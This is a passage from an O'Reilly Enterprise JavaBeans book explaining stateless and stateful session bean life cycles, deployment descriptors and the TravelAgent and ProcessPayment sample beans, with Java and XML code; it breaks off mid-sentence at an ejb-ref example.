Named properties can be declared in a bean's deployment descriptor. The bean accesses these properties at runtime by using the JNDI ENC. Properties can be of type String or one of several primitive wrapper types including Integer, Long, Double, Float, Byte, Boolean, and Short. By modifying the deployment descriptor, the bean deployer can change the bean's behavior without changing its code. As we've seen in the ProcessPayment bean, we could change the minimum check number that we're willing to accept by modifying the minCheckNumber property at deployment. Two ProcessPayment beans deployed in different containers could easily have different minimum check numbers, as shown in the following example:

<ejb-jar>
    <enterprise-beans>
        <session>
            <env-entry>
                <env-entry-name>minCheckNumber</env-entry-name>
                <env-entry-type>java.lang.Integer</env-entry-type>
                <env-entry-value>2000</env-entry-value>
            </env-entry>
            ...
        </session>
        ...
    <enterprise-beans>
    ...
</ejb-jar>

7.1.2.8. EJB 1.1: EJBContext

The EJBContext.getEnvironment() method is optional in EJB 1.1, which means that it may or may not be supported. If it is not functional, the method will throw a RuntimeException. If it is functional, it returns only those values declared in the deployment descriptor as follows (where minCheckNumber is the property name):

<ejb-jar>
    <enterprise-beans>
        <session>
            <env-entry>
                <env-entry-name>ejb10-properties/minCheckNumber</env-entry-name>
                <env-entry-type>java.lang.String</env-entry-name>
                <env-entry-value>20000</env-entry-value>
            </env-entry>
            ...
        </session>
        ...
    </enterprise-beans>
     ...
</ejb-jar>

The ejb10-properties subcontext specifies that the property minCheckNumber is available from both JNDI ENC context "java:comp/env/ejb10-properties/minCheckNumber" (as a String value), and from the getEnvironment() method.

Only those properties declared under the ejb10-properties subcontext are available via the EJBContext. Furthermore, such properties are only available through the EJBContext in containers that choose to support the EJB 1.0 getEnvironment() method; all other containers will throw a RuntimeException.

7.1.2.9. EJB 1.1: The ProcessPayment bean's deployment descriptor

Deploying the ProcessPayment bean presents no significant problems. It's essentially the same as deploying the Ship or Cabin beans, except that the ProcessPayment bean has no primary key or persistent fields. Here is the XML deployment descriptor for the ProcessPayment bean:

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <session>
      <description>
            A service that handles monetary payments.
      </description>
      <ejb-name>ProcessPaymentBean</ejb-name>
      <home>com.titan.processpayment.ProcessPaymentHome</home>
      <remote>com.titan.processpayment.ProcessPayment</remote>
      <ejb-class>com.titan.processpayment.ProcessPaymentBean</ejb-class>
      <session-type>Stateless</session-type>
      <transaction-type>Container</transaction-type>
      <env-entry>
           <env-entry-name>minCheckNumber</env-entry-name>
           <env-entry-type>java.lang.Integer</env-entry-type>
           <env-entry-value>2000</env-entry-value>
      </env-entry>
      <resource-ref>
           <description>DataSource for the Titan database</description>
           <res-ref-name>jdbc/titanDB</res-ref-name>
           <res-type>javax.sql.DataSource</res-type>
           <res-auth>Container</res-auth>
      </resource-ref>

  </session>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the ProcessPayment bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>ProcessPaymentBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>ProcessPaymentBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

7.1.2.10. EJB 1.0: The ProcessPayment bean's deployment descriptor

The DeploymentDescriptor for the ProcessPayment bean is created and serialized using an application called MakeDD, which is basically the same as the one used to create the TravelAgentDD.ser file in Chapter 4, "Developing Your First Enterprise Beans":

package com.titan.processpayment;

import javax.ejb.deployment.*;
import javax.naming.CompoundName;

import java.util.*;
import java.io.*;

public class MakeDD {

    public static void main(String args []) {
        try {
        if (args.length <1) {
            System.out.println("must specify target directory");
            return;
        }

        SessionDescriptor paymentDD = new SessionDescriptor();
        paymentDD.setRemoteInterfaceClassName(
          "com.titan.processpayment.ProcessPayment");
        paymentDD.setHomeInterfaceClassName(
          "com.titan.processpayment.ProcessPaymentHome");
        paymentDD.setEnterpriseBeanClassName(
          "com.titan.processpayment.ProcessPaymentBean");
        paymentDD.setSessionTimeout(60);
        paymentDD.setStateManagementType(
            SessionDescriptor.STATELESS_SESSION);

        Properties props = new Properties();
        props.put("jdbcURL","jdbc:subprotocol:subname");

        props.put("minCheckNumber","1000");
        paymentDD.setEnvironmentProperties(props);

        ControlDescriptor cd = new ControlDescriptor();
        cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
        cd.setMethod(null);
        cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
        cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
        ControlDescriptor [] cdArray = {cd};
        paymentDD.setControlDescriptors(cdArray);

        CompoundName jndiName =
            new CompoundName("ProcessPaymentHome", new Properties());
        paymentDD.setBeanHomeName(jndiName);

        String fileSeparator =
            System.getProperties().getProperty("file.separator");
        if (! args[0].endsWith(fileSeparator))
            args[0] += fileSeparator;

        FileOutputStream fis =
            new FileOutputStream(args[0]+"ProcessPaymentDD.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fis);
        oos.writeObject(paymentDD);
        oos.flush();
        oos.close();
        fis.close();
        } catch(Throwable t) {t.printStackTrace();}
    }
}

The class names, the JNDI name, and the environment properties are the only differences between the two descriptors. We create a properties table, add two properties to it, and call setEnvironmentProperties() to install the table. The two properties are "jdbcURL", which tells the bean how to contact the database, and "minCheckNumber", which tells the bean the minimum check number that it is allowed to accept. You will need to replace the value associated with the "jdbcURL" environment property with a JDBC URL specific to your EJB server and database.

In this context, it's important to notice that the state management type that we specify for this bean is STATELESS_SESSION. In the deployment descriptor for the TravelAgent bean, this was a piece of black magic that we didn't really explain in Chapter 4, "Developing Your First Enterprise Beans". Now we know what it means. This informs the container that the bean instance can be swapped between method invocations from EJB object to EJB object; it doesn't need to maintain conversational state.

Deploy the ProcessPayment bean and make some payments. You should also attempt to make payments in such a way that an application exception is thrown. You could, for example, submit a check payment with a check number that is too low or a credit card payment with an expiration date that has passed.

Previous | Home | Next
6.3. The Life Cycle of an Entity Bean | Book Index | 7.2. The Life Cycle of a Stateless Session Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Life Cycle of a Stateless Session Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

7.2. The Life Cycle of a Stateless Session Bean

Just as the entity bean has a well-defined life cycle, so does the stateless session bean. The stateless session bean's life cycle has two states: the Does Not Exist state and the Method-Ready Pool. The Method-Ready Pool is similar to the instance pool used for entity beans. This is one of the significant life-cycle differences between stateless and stateful session beans; stateless beans define instance pooling in their life cycle and stateful beans do not.[5] Figure 7-1 illustrates the states and transitions that a stateless session bean instance goes through in its lifetime.

[5] Some vendors do not pool stateless instances, but may instead create and destroy instances with each method invocation. This is an implementation-specific decision that shouldn't impact the specified life cycle of the stateless bean instance.

Figure 7-1. Stateless session bean life cycle

7.2.1. Does Not Exist

When a bean instance is in the Does Not Exist state, it is not an instance in the memory of the system. In other words, it has not been instantiated yet.

7.2.2. The Method-Ready Pool

Stateless bean instances enter the Method-Ready Pool as the container needs them. When the EJB server is first started, it will probably create a number of stateless bean instances and enter them into the Method-Ready Pool. (The actual behavior of the server depends on the implementation.) When the number of stateless instances servicing client requests is insufficient, more can be created and added to the pool.

7.2.2.1. Transitioning to the Method-Ready Pool

When an instance transitions from the Does Not Exist state to the Method-Ready Pool, three operations are performed on it. First, the bean instance is instantiated by invoking the Class.newInstance() method on the stateless bean class.

WARNING

Bean classes, entity and session alike, must never define constructors. Take care of initialization needs within ejbCreate() and other callback methods available through the bean class's EnterpriseBean interface (EntityBean or SessionBean). The container instantiates instances of the bean class using Class.newInstance(), which requires a no-argument constructor.

NOTE

Although the life cycle of a bean instance is defined by the specification, the actual implementation by EJB vendors need only support the specified life cycle as perceived by the bean class and the client. For this reason, a bean developer must only depend on behavior described by the specification. The specification does not describe the behavior of Java language constructors; it only describes the behavior of the create and callback methods in the bean class.

Second, the SessionBean.setSessionContext(SessionContextcontext) method is invoked on the bean instance. This is when the instance receives its reference to the EJBContext for its lifetime. The SessionContext reference may be stored in a nontransient instance field of the stateless session bean.[6]

[6] The EJB 1.0 specification is not clear on whether an EJBContext should be stored in a transient or nontransient field in the bean instance. The recommended approach is to use nontransient, but some vendors will preserve an EJBContext reference's binding to the instance only if it is set as a transient field. Consult your vendor for its implementation-specific requirements. EJB 1.1 explicitly states that the EJBContext must not be referenced in a transient field.

Finally, the no-argument ejbCreate() method is invoked on the bean instance. Remember that a stateless session bean only has one ejbCreate() method, which takes no arguments. The ejbCreate() method is invoked only once in the life cycle of the stateless session bean; when the client invokes the create() method on the EJB home, it is not delegated to the bean instance. This is significantly different from both entity beans and stateful session beans.

Stateless session beans are not subject to activation, so they can maintain open connections to resources for their entire life cycle.[7] The ejbRemove() method should close any open resources before the stateless session bean is evicted from memory at the end of its life cycle. More about ejbRemove() later in this section.

[7] The duration of a stateless bean instance's life is assumed to be very long. However, some EJB servers may actually destroy and create instances with every method invocation, making this strategy less attractive. Consult your vendor's documentation for details on how your EJB server handles stateless instances.

7.2.2.2. Life in the Method-Ready Pool

Once an instance is in the Method-Ready Pool, it is ready to service client requests. When a client invokes a business method on an EJB object, the method call is delegated to any available instance in the Method-Ready Pool. While the instance is executing the request, it is unavailable for use by other EJB objects. Once the instance has finished, it is immediately available to any EJB object that needs it. This is slightly different from the instance pool for entity beans, described in Chapter 6, "Entity Beans". In the entity instance pool, a bean instance might be swapped in to service an EJB object for several method invocations. Stateless session instances are only dedicated to an EJB object for the duration of the method.

Although vendors can choose different strategies to support stateless session beans, it's likely that vendors will use an instance-swapping strategy similar to that used for entity beans (the strategy utilized by entity beans is described in Chapter 6, "Entity Beans"). However, the swap is very brief, lasting only as long as the business method needs to execute. When an instance is swapped in, its SessionContext changes to reflect the context of its EJB object and the client invoking the method. The bean instance may be included in the transactional scope of the client's request, and it may access SessionContext information specific to the client request, for example, the security and transactional methods. Once the instance has finished servicing the client, it is disassociated from the EJB object and returned to the Method-Ready Pool.

Stateless session beans are not subject to activation and never have their ejbActivate() or ejbPassivate() callback methods invoked. The reason is simple: stateless instances have no conversational state that needs to preserved. (Stateful session beans do depend on activation, as we'll see later.)

Clients that need a remote reference to a stateless session bean begin by invoking the create() method on the bean's EJB home:

// EJB 1.0: Use native cast
Object ref = jndiConnection.lookup("ProcessPaymentHome");
ProcessPaymentHome home = (ProcessPaymentHome)
    PortableRemoteObject.narrow(ref,ProcessPaymentHome.class);

ProcessPayment pp = home.create();

Unlike the entity bean and stateful session bean, invoking the create() method does not result in a call to the bean's ejbCreate() method. In stateless session beans, calling the EJB home's create() method results in the creation of an EJB object for the client, but that is all. The ejbCreate() method of a stateless session bean is only invoked once in the life cycle of an instance--when it is transitioning from the Does Not Exist state to the Method-Ready Pool. It isn't reinvoked every time a client requests a remote reference to the bean.

7.2.2.3. Transitioning out of the Method-Ready Pool: The death of a stateless bean instance

Bean instances leave the Method-Ready Pool for the Does Not Exist state when the server no longer needs the instance. This occurs when the server decides to reduce the total size of the Method-Ready Pool by evicting one or more instances from memory. The process begins by invoking the ejbRemove() method on the instance. At this time, the bean instance should perform any cleanup operations, like closing open resources. The ejbRemove() method is only invoked once in the life cycle of a stateless session bean's instance--when it is about to transition to the Does Not Exist state. When a client invokes one of the remove() methods on a stateless session bean's remote or home interface, it is not delegated to the bean instance. The client's invocations of this method simply invalidates the stub and releases the EJB object; it notifies the container that the client no longer needs the bean. The container itself invokes the ejbRemove() method on the stateless instance, but only at the end of the instance's life cycle. Again, this is very different from both stateful session beans and entity beans, which suffer more destructive consequences when the client invokes a remove method. During the ejbRemove() method, the SessionContext (and JNDI ENC for EJB 1.1) is still available to the bean instance. Following the execution of the ejbRemove() method, the bean is dereferenced and eventually garbage collected.

Previous | Home | Next
7.1. The Stateless Session Bean | Book Index | 7.3. The Stateful Session Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Stateful Session Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

7.3. The Stateful Session Bean

Stateful session beans offer an alternative that lies between entity beans and stateless session beans. Stateful session beans are dedicated to one client for the life of the bean instance; a stateful session bean acts on behalf of a client as its agent. They are not swapped among EJB objects or kept in an instance pool like entity and stateless bean instances. Once a stateful session bean is instantiated and assigned to an EJB object, it is dedicated to that EJB object for its entire life cycle.[8]

[8] This is a conceptual model. Some EJB containers may actually use instance swapping with stateful session beans but make it appear as if the same instance is servicing all requests. Conceptually, however, the same stateful session bean instance services all requests.

Stateful session beans maintain conversational state, which means that the instance variables of the bean class can cache data relative to the client between method invocations. This makes it possible for methods to be interdependent, so that changes made by methods to the bean's state can affect the result of subsequent method invocations. In contrast, the stateless session beans we have been talking about do not maintain conversational state. Although stateless beans may have instance variables, these fields are not specific to one client. A stateless instance is swapped among many EJB objects, so you can't predict which instance will service a method call. With stateful session beans, every method call from a client is serviced by the same instance (at least conceptually), so the bean instance's state can be predicted from one method invocation to the next.

Although stateful session beans maintain conversational state, they are not themselves persistent like entity beans. Entity beans represent data in the database; their persistent fields are written directly to the database. Stateful session beans, like stateless beans, can access the database but do not represent data in the database. In addition, session beans are not used concurrently like entity beans. If you have an entity EJB object that wraps an instance of the ship called Paradise, for example, all client requests for that ship will be coordinated through the same EJB object.[9] With session beans, the EJB object is dedicated to one client--session beans are not used concurrently.

[9] This is a conceptual model. Some EJB containers may actually use separate EJB objects for concurrent access to the same entity, relying on the database to control concurrency. Conceptually, however, the end result is the same.

Stateful session beans are often thought of as extensions of the client. This makes sense if you think of a client as being made up of operations and state. Each task may rely on some information gathered or changed by a previous operation. A GUI client is a perfect example: when you fill in the fields on a GUI client you are creating conversational state. Pressing a button executes an operation that might fill in more fields, based on the information you entered previously. The information in the fields is conversational state.

Stateful session beans allow you to encapsulate the business logic and the conversational state of a client and move it to the server. Moving this logic to the server thins the client application and makes the system as a whole easier to manage. The stateful session bean acts as an agent for the client, managing processes or workflow to accomplish a set of tasks; it manages the interactions of other beans in addition to direct data access over several operations to accomplish a complex set of tasks. By encapsulating and managing workflow on behalf of the client, stateful beans present a simplified interface that hides the details of many interdependent operations on the database and other beans from the client.

7.3.1. The TravelAgent Bean

The TravelAgent bean, which we have already seen, is a stateful session bean that encapsulates the process of making a reservation on a cruise. We will develop this bean further to demonstrate how stateful session beans can be used as workflow objects.

7.3.1.1. TravelAgent: The remote interface

In Chapter 4, "Developing Your First Enterprise Beans", we developed an early version of the TravelAgent interface that contained a single business method, listCabins(). We are going to remove the listCabins() method and redefine the TravelAgent bean so that it behaves like a workflow object. Later in the chapter, we will add a modified listing method for obtaining a more specific list of cabins for the user.

As a stateful session bean that models workflow, TravelAgent manages the interactions of several other beans while maintaining conversational state. The following code contains the modified TravelAgent interface:

package com.titan.travelagent;

import java.rmi.RemoteException;
import javax.ejb.FinderException;
import com.titan.cruise.Cruise;
import com.titan.customer.Customer;
import com.titan.processpayment.CreditCard;

public interface TravelAgent extends javax.ejb.EJBObject {

    public void setCruiseID(int cruise)
        throws RemoteException, FinderException;
    public int getCruiseID() throws RemoteException,
                                    IncompleteConversationalState;

    public void setCabinID(int cabin)
        throws RemoteException, FinderException;
    public int getCabinID() throws RemoteException,
                                   IncompleteConversationalState;
    public int getCustomerID() throws RemoteException,
                                       IncompleteConversationalState;

    public Ticket bookPassage(CreditCard card, double price)
        throws RemoteException,IncompleteConversationalState;
}

The purpose of the TravelAgent bean is to make cruise reservations. To accomplish this task, the bean needs to know which cruise, cabin, and customer make up the reservation. Therefore, the client using the TravelAgent bean needs to gather this kind of information before making the booking. The TravelAgent remote interface provides methods for setting the IDs of the cruise and cabin that the customer wants to book. We can assume that the cabin ID came from a list and that the cruise ID came from some other source. The customer is set in the create() method of the home interface--more about this later.

Once the customer, cruise, and cabin are chosen, the TravelAgent bean is ready to process the reservation. This operation is performed by the bookPassage() method, which needs the customer's credit card information and the price of the cruise. bookPassage() is responsible for charging the customer's account, reserving the chosen cabin in the right ship on the right cruise, and generating a ticket for the customer. How this is accomplished is not important to us at this point; when we are developing the remote interface, we are only concerned with the business definition of the bean. We will discuss the implementation when we talk about the bean class.

Like the CreditCard and Check classes used in the ProcessPayment bean, the Ticket class that bookPassage() returns is defined as a pass-by-value object. It can be argued that a ticket should be an entity bean since it is not dependent and may be accessed outside the context of the TravelAgent bean. However, determining how a business object is used can also dictate whether it should be a bean or simply a class. The Ticket object, for example, could be digitally signed and emailed to the client as proof of purchase. This wouldn't be feasible if the Ticket object had been an entity bean. Enterprise beans are only referenced through their remote interfaces and are not passed by value, as are serializable objects such as Ticket, CreditCard, and Check. As an exercise in pass-by-value, we define the Ticket as a simple serializable object instead of a bean:

package com.titan.travelagent;

import com.titan.cruise.Cruise;
import com.titan.cabin.Cabin;
import com.titan.customer.Customer;
import java.rmi.RemoteException;

public class Ticket implements java.io.Serializable {
    public int cruiseID;
    public int cabinID;
    public double price;
    public String description;

    public Ticket(Customer customer, Cruise cruise, Cabin cabin, double price)
            throws javax.ejb.FinderException, RemoteException,
            javax.naming.NamingException {

       description = customer.getFirstName()+" "+customer.getMiddleName()+
           " " + customer.getLastName() +
           " has been booked for the " + cruise.getName().trim() +
           " cruise on ship " + cruise.getShipID() + ".\n" +
           " Your accommodations include " + cabin.getName().trim() +
           " a " + cabin.getBedCount() +
           " bed cabin on deck level " + cabin.getDeckLevel() +
           ".\n Total charge = " + price;
    }

    public String toString() {
        return description;
    }
}

Note that the bookPassage() method throws an application-specific exception, the IncompleteConversationalState. This exception is used to communicate business problems encountered while booking a customer on a cruise. The IncompleteConversationalState exception indicates that the TravelAgent bean didn't have enough information to process the booking. The IncompleteConversationalState application exception class is defined below:

package com.titan.travelagent;

public class IncompleteConversationalState extends java.lang.Exception {
    public IncompleteConversationalState(){super();}
    public IncompleteConversationalState(String msg){super(msg);}
}

7.3.1.2. TravelAgentHome: The home interface

Starting with the TravelAgentHome interface that we developed in Chapter 4, "Developing Your First Enterprise Beans", we can modify the create() method to take a remote reference to the customer who is making the reservation:

package com.titan.travelagent;

import java.rmi.RemoteException;
import javax.ejb.CreateException;
import com.titan.customer.Customer;

public interface TravelAgentHome extends javax.ejb.EJBHome {

    public TravelAgent create(Customer cust)
        throws RemoteException, CreateException;
}

The create() method in this home interface requires that a remote reference to a Customer bean be used to create the TravelAgent bean. Because there are no other create() methods, you can't create a TravelAgent bean if you don't know who the customer is. The Customer bean reference provides the TravelAgent bean with some of the conversational state it will need to process the bookPassage() method.

7.3.1.3. Taking a peek at the client view

Before settling on definitions for your remote interface and home interface, it is a good idea to figure out how the bean will be used by clients. Imagine that the TravelAgent bean is used by a Java applet with GUI fields. The GUI fields capture the customer's preference for the type of cruise and cabin. We start by examining the code used at the beginning of the reservation process:

Context jndiContext = getInitialContext();
// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CustomerHome");
CustomerHome customerHome =(CustomerHome)
    PortableRemoteObject.narrow(ref, CustomerHome.class);

String ln = tfLastName.getText();
String fn = tfFirstName.getText();
String mn = tfMiddleName.getText();
Customer customer = customerHome.create(nextID, ln, fn, mn);

// EJB 1.0: Use native cast instead of narrow()
ref = jndiContext.lookup("TravelAgentHome");
TravelAgentHome home = (TravelAgentHome)
    PortableRemoteObject.narrow(ref, TravelAgentHome.class);

TravelAgent agent = home.create(customer);

This snippet of code creates a new Customer bean based on information the travel agent gathered over the phone. The Customer reference is then used to create a TravelAgent bean. Next, we gather the cruise and cabin choices from another part of the applet:

int cruise_id = Integer.parseInt(textField_cruiseNumber.getText());
int cabin_id = Integer.parseInt(textField_cabinNumber.getText());
agent.setCruiseID(cruise_id);
agent.setCabinID(cabin_id);

The user chooses the cruise and cabin that the customer wishes to reserve. These IDs are set in the TravelAgent bean, which maintains the conversational state for the whole process.

At the end of the process, the travel agent completes the reservation by processing the booking and generating a ticket. Because the TravelAgent bean has maintained the conversational state, caching the Customer, Cabin, and Cruise information, only the credit card and price are needed to complete the transaction:

long cardNumber = Long.parseLong(textField_cardNumber.getText());
Date date =
    dateFormatter.format(textField_cardExpiration.getText());
String cardBrand = textField_cardBrand.getText();
CreditCard card = new CreditCard(cardNumber,date,cardBrand);
double price =
    double.valueOf(textField_cruisePrice.getText()).doubleValue();
Ticket ticket = agent.bookPassage(card,price);
PrintingService.print(ticket);

We can now move ahead with development; this summary of how the client will use the TravelAgent bean confirms that our remote interface and home interface definitions are workable.

7.3.1.4. TravelAgentBean: The bean class

We now implement all the behavior expressed in the new remote interface and home interface for the TravelAgent bean. Here is a partial definition of the new TravelAgentBean; the getHome() method and, for EJB 1.0, the getJNDIContext() method will be added as we go along:[10]

[10] If you're modifying the bean developed in Chapter 4, "Developing Your First Enterprise Beans", remember to delete the listCabin()method. We will add a new implementation of that method later in this chapter.

package com.titan.travelagent;

import com.titan.cabin.*;
import com.titan.cruise.*;
import com.titan.customer.*;
import com.titan.processpayment.*;
import com.titan.reservation.*;

import java.sql.*;
import javax.sql.DataSource;
import java.util.Vector;
import java.rmi.RemoteException;
import javax.naming.NamingException;
import javax.ejb.EJBException;

public class TravelAgentBean implements javax.ejb.SessionBean {

    public Customer customer;
    public Cruise cruise;
    public Cabin cabin;

    public javax.ejb.SessionContext ejbContext;
    // EJB 1.0: jndiContext should be declared transient
    public javax.naming.Context jndiContext;

    public void ejbCreate(Customer cust) {
        customer = cust;
    }
    public int getCustomerID()
        throws IncompleteConversationalState {
        // EJB 1.0: also throws RemoteException
        try { // EJB 1.0: remove try/catch
            if (customer == null)
                throw new IncompleteConversationalState();
            return ((CustomerPK)customer.getPrimaryKey()).id;
        } catch(RemoteException re) {
            throw new EJBException(re);
        }
    }
    public int getCruiseID()
        throws IncompleteConversationalState {
        // EJB 1.0: also throws RemoteException
        try { // EJB 1.0: remove try/catch
            if (cruise == null)
                throw new IncompleteConversationalState();
            return ((CruisePK)cruise.getPrimaryKey()).id;
        } catch(RemoteException re) {
            throw new EJBException(re);
        }

    }

    public int getCabinID()
        throws IncompleteConversationalState {
        // EJB 1.0: also throws RemoteException
        try { // EJB 1.0: remove try/catch
            if (cabin==null)
                throw new IncompleteConversationalState();
            return ((CabinPK)cabin.getPrimaryKey()).id;
        } catch(RemoteException re) {
            throw new EJBException(re);
        }
    }
    public void setCabinID(int cabinID)
        throws javax.ejb.FinderException { // EJB 1.0: also throws RemoteException
        try { // EJB 1.0: remove try/catch
            CabinHome home = (CabinHome)getHome("CabinHome",CabinHome.class);
            CabinPK pk = new CabinPK();
            pk.id=cabinID;
            cabin = home.findByPrimaryKey(pk);
        } catch(RemoteException re) {
            throw new EJBException(re);
        }
    }
    public void setCruiseID(int cruiseID)
        throws javax.ejb.FinderException { // EJB 1.0: also throws RemoteException
        try { // EJB 1.0: remove try/catch
            CruiseHome home = (CruiseHome)getHome("CruiseHome", CruiseHome.class);
            cruise = home.findByPrimaryKey(new CruisePK(cruiseID));
        } catch(RemoteException re) {
            throw new EJBException(re);
        }

    }
    public Ticket bookPassage(CreditCard card, double price)
        throws IncompleteConversationalState {
        // EJB 1.0: also throws RemoteException

        if (customer == null || cruise == null || cabin == null) {
            throw new IncompleteConversationalState();
        }
        try {
            ReservationHome resHome = (ReservationHome)
                getHome("ReservationHome",ReservationHome.class);
            Reservation reservation =
                resHome.create(customer, cruise, cabin, price);
            ProcessPaymentHome ppHome = (ProcessPaymentHome)
                getHome("ProcessPaymentHome",ProcessPaymentHome.class);
            ProcessPayment process = ppHome.create();
            process.byCredit(customer, card, price);

            Ticket ticket = new Ticket(customer,cruise,cabin,price);
            return ticket;
        } catch(Exception e) {
            // EJB 1.0: throw new RemoteException("",e);
            throw new EJBException(e);
        }
    }
    public void ejbRemove() {}
    public void ejbActivate() {}

    public void ejbPassivate() {
        /*
        EJB 1.0: Close the JNDI Context and set to null.
        try {
            jndiContext.close();
        } catch(NamingException ne) {}
        jndiContext = null;
        */
    }
    public void setSessionContext(javax.ejb.SessionContext cntx) {
        // EJB 1.0: throws RemoteException
        ejbContext = cntx;
        try {
          jndiContext = new javax.naming.InitialContext();
        } catch(NamingException ne) {
            // EJB 1.0: throw new RemoteException("",ne);
            throw new EJBException(ne);
        }
    }
    protected Object getHome(String name, Class type)
    {// EJB 1.0: throws RemoteException
        // EJB 1.1 and EJB 1.0 specific implementations
    }
}

There is a lot of code to digest, so we will approach it in small pieces. First, let's examine the ejbCreate() method:

public class TravelAgentBean implements javax.ejb.SessionBean {

    public Customer customer;
    public Cruise cruise;
    public Cabin cabin;

    public javax.ejb.SessionContext ejbContext;
    // EJB 1.0: jndiContext should be declared transient
    public javax.naming.Context jndiContext;

    public void ejbCreate(Customer cust) {
        customer = cust;
    }

When the bean is created, the remote reference to the Customer bean is passed to the bean instance and maintained in the customer field. The customer field is part of the bean's conversational state. We could have obtained the customer's identity as an integer ID and constructed the remote reference to the Customer bean in the ejbCreate() method. However, we passed the reference directly to demonstrate that remote references to beans can be passed from a client application to a bean. They can also be returned from the bean to the client and passed between beans on the same EJB server or between EJB servers.

References to the SessionContext and JNDI context are held in fields called ejbContext and jndiContext. Prefixing the names of these context types helps avoid confusion.

EJB 1.1: the jndiContext

When a bean is passivated in EJB 1.1, the JNDI ENC must be maintained as part of the bean's conversational state. This means that the JNDI context should not be transient, as was the case in EJB 1.0. In EJB 1.1, once a field is set to reference the JNDI ENC, the reference remains valid for the life of the bean. In the TravelAgentBean, we set the field jndiContext to reference the JNDI ENC when the SessionContext is set a the beginning of the bean's life cycle:

public void setSessionContext(javax.ejb.SessionContext cntx) {
    // EJB 1.0: throws RemoteException
    ejbContext = cntx;
    try {
        jndiContext = new InitialContext();
    } catch(NamingException ne) {
        // EJB 1.0: throw new RemoteException("",ne);
        throw new EJBException(ne);
    }
}

EJB 1.1 makes special accommodations for references to SessionContext, the JNDI ENC, references to other beans (remote and home interface types) and the JTA UserTransaction type, which is discussed in detail in Chapter 8, "Transactions". The container must maintain any instance fields that reference objects of these types as part of the conversational state, even if they are not serializable. (In EJB 1.0, references to most of these special types had to be closed or set to null in the ejbPassivate() method.) All other fields must be serializable or null when the bean is passivated.

Open resources such as sockets or JDBC connections must be closed whenever the bean is passivated. In stateful session beans, open resources will not be maintained for the life of the bean instance. When a stateful session bean is passivated, any open resource can cause problems with the activation mechanism.

EJB 1.0: the jndiContext

In EJB 1.0, references to a JNDI context are not considered part of the bean's conversational state; the JNDI context is an open resource that must be referenced by a transient field and should be closed when the bean is passivated. In the TravelAgentBean, the jndiContext is obtained through the method getJndiContext():

protected javax.naming.Context getJndiContext()
        throws javax.naming.NamingException {

        if (jndiContext != null)
            return jndiContext;

        // ... Specify the JNDI properties specific to the vendor.

        jndiContext = new InitialContext(p);
        return jndiContext; }

The InitialContext, obtained by the getJndiContext() method, is saved in the instance variable jndiContext. This reduces the number of times the InitialContext needs to be created.[11] However, because the JNDI context is an open resource, it must be closed whenever the bean is passivated. When a stateful session bean is passivated, any open resource can cause problems with the activation mechanism. TravelAgentBean uses the ejbPassivate() notification method to close the JNDI context and set the jndiContext variable to null:

[11] The advantage gained by maintaining the connection will be marginal if the container calls ejbPassivate() after every method call--which some implementations do.

public void ejbPassivate() {
    try {
        jndiContext.close();
    } catch(NamingException ne) {}
    jndiContext = null;
}

The TravelAgent bean has methods for setting the desired cruise and cabin. These methods take integer IDs as arguments and retrieve references to the appropriate Cruise or Cabin bean from the appropriate home interface. These references are also a part of the TravelAgent bean's conversational state:

public void setCabinID(int cabinID)
throws javax.ejb.FinderException { // EJB 1.0: also throws RemoteException
    try { // EJB 1.0: remove try/catch
        CabinHome home = (CabinHome)getHome("CabinHome",CabinHome.class);
        CabinPK pk = new CabinPK();
        pk.id=cabinID;
        cabin = home.findByPrimaryKey(pk);
    } catch(RemoteException re) {
        throw new EJBException(re);
    }
}
public void setCruiseID(int cruiseID)
throws javax.ejb.FinderException { // EJB 1.0: also throws RemoteException
    try { // EJB 1.0: remove try/catch
        CruiseHome home = (CruiseHome)getHome("CruiseHome", CruiseHome.class);
        cruise = home.findByPrimaryKey(new CruisePK(cruiseID));
    } catch(RemoteException re) {
        throw new EJBException(re);
    }
}

It may seem strange that we set these values using the integer IDs, but we keep them in the conversational state as remote references. Using the integer IDs for these objects is simpler for the client, which doesn't work with their remote references. In the client code, we got cabin and cruise IDs from text fields. Why make the client obtain a remote reference to the Cruise and Cabin beans when an ID is simpler? In addition, using the ID is cheaper than passing a network reference in terms of network traffic. We need the EJB object references to these bean types in the bookPassage() method, so we use their IDs to obtain actual remote references. We could have waited until the bookPassage() method was invoked before reconstructing the remote references, but this way we keep the bookPassage() method simple.

The method getHome(), used in both set methods, is a convenience method defined in the TravelAgentBean. It hides the details of obtaining a remote reference to an EJB home object.

EJB 1.1: accessing EJB references

In EJB 1.1, the JNDI ENC can be used to obtain a reference to the home interface of other beans. Using the ENC lets you avoid hardcoding vendor-specific JNDI properties into the bean--a common problem in EJB 1.0. In other words, the JNDI ENC allows EJB references to be network and vendor independent.

In the TravelAgentBean, the getHome() method uses the jndiContext reference to obtain references to the Cabin, Ship, ProcessPayment, and Cruise home objects:

protected Object getHome(String name,Class type) {
    try {
        Object ref = jndiContext.lookup("java:comp/env/ejb/"+name);
        return PortableRemoteObject.narrow(ref, type);
    } catch(NamingException ne) {
        throw new EJBException(ne);
    }
}

EJB 1.1 recommends that all EJB references be bound to the "java:comp/env/ejb" context, which is the convention followed here. In the TravelAgent bean, we pass in the name of the home object we want and append it to the "java:comp/env/ejb" context to do the lookup.

The deployment descriptor provides a special set of tags for declaring EJB references. Here's how the <ejb-ref> tag and its subelements are used:

<ejb-ref>
